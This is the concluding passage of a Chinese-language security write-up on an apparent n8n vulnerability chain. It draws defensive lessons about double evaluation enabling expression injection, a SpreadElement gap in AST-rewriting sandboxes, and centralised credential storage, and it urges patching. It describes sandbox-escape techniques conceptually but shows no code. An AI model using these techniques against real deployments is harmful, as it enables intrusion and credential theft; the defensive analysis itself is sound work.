  • 更稳健的方案是采用"白名单"沙箱——仅允许表达式访问明确声明的安全全局对象(如 $input$json$now),其余所有标识符一律拒绝。这种方案的安全性不依赖于对攻击手法的穷举,而是基于最小暴露面原则。

十、总结与启示

n8n 五连杀漏洞链是低代码/无代码平台安全风险的典型案例。这条攻击链的技术启示可归纳为以下三点:

第一,双重求值是表达式注入的温床。 当用户输入经过一次求值后被注入到模板中,而模板又经历第二次求值时,攻击者就有了将恶意代码"夹带"进第二次求值的机会。任何涉及模板渲染与表达式求值的系统,都应严格遵循"一次求值"原则——用户输入要么作为数据(不被求值),要么作为代码(经过严格沙箱),绝不能在数据与代码之间发生身份转换。

第二,AST 重写的盲区是沙箱逃逸的突破口。 基于 AST 重写的沙箱方案,其安全性完全取决于节点类型覆盖的完整性。SpreadElement 绕过揭示了一个普遍性教训:当安全检查基于 switch-case + default fall-through 结构时,任何一个遗漏的 case 都会成为逃逸通道。正确的做法是采用 allowlist 模式——默认拒绝,仅对明确安全的情况放行。

第三,凭证集中存储放大了单点突破的影响。 n8n 作为工作流编排中枢,天然需要集中存储大量第三方凭证。一旦主加密密钥泄露,所有凭证瞬间失去保护。这要求平台设计者在凭证管理上采用"零信任"思维——即使平台本身被攻破,凭证也不应能被直接批量解密。外部密钥管理、凭证级别的独立加密、定期密钥轮换,都是降低此类风险的有效手段。

对于仍在使用未修复版本 n8n 的组织,立即升级至 2.10.1 及以上版本是唯一的正确选择。在全球 12000+ 台服务器已被入侵的背景下,任何延迟都意味着将自己的 AWS 密钥、数据库密码和 OAuth 令牌置于攻击者的解密队列之中。


免责声明:本文所涉 PoC 代码与技术分析仅供安全研究、授权渗透测试与防御建设参考。未经授权对他人系统进行漏洞利用属于违法行为。请勿将本文内容用于任何非法用途。